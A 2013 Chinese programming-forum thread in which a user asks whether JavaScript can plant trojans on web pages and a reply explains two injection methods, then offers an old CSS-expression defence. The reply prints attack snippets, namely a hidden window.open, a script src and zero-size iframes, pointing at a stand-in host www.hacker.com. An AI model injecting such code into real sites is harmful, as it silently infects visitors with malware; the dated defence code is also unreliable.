黑马程序员技术交流社区

标题: 关于js脚本 [打印本页]

作者: 心弦上的景致    时间: 2013-4-21 02:21
标题: 关于js脚本
我一个朋友讲 js玩到境界了 直接在页面就可以挂马
虽然是一句酒话  但是我就突然好奇了
本地操作系统有自己的防护体系 杀软也不是摆设 任何调用底层功能 杀软都会进行校验
js作为脚本语言 虽然小巧轻便 功能也算强大 但是会强大到可以在页面进行挂马么.
我这几天恶补了一下js  然后就放弃了 急于求成也不是个事  干脆把问题扔出来大伙合力 一锅就给炖了得了

作者: zZZ~~    时间: 2013-4-21 02:40
现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

这种方法使用的关键代码如下:

window.open("http://www.hacker.com/木 马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");

这种代码往往很长,很容易被安全工程师发现,而且没有经验的黑客也喜欢将“width”和“height=”参数设为“0”,但是设置为0后,可能会出现恶意代码不运行的情况。

另外一种JS挂马方式是,黑客先将挂马脚本代码“document.write('<Iframe src="网页木马地址" ></iframe>')”,写入Windows中的写字板另存为后缀为.js的脚本文件,并上传到自己指定的网址。这时黑客只需要在受害者 的网站中写入:

<script src="http://www.hacker.com/木马脚本.js"></script>

或者

document.write("<div style='display:none'>")
document.write("<iframe src="网页木马地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")

就成功地将木马挂到了对方的网页中了。

第一种JS挂马方式,不方便,用得非常少,而第二种JS挂马方式才是当前主流的,所以我们主要针对它进行防御。方法就是阻止Src请求的异地外域的JS脚本,代码如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}

不过这种方法的缺点就是网站的访问者将不能看到被挂了JS木马的相关网页。


作者: $love    时间: 2013-4-21 09:16
赞!长见识了
作者: zZZ~~    时间: 2013-4-21 14:24
{:soso_e149:}我的分呢
作者: zZZ~~    时间: 2013-4-21 21:26
zZZ~~ 发表于 2013-4-21 14:24
我的分呢

才不呢 我要吧报五月份的:P 姐姐见我回复技术贴记得给我加分哦




欢迎光临 黑马程序员技术交流社区 (http://bbs.itheima.com/) 黑马程序员IT技术论坛 X3.2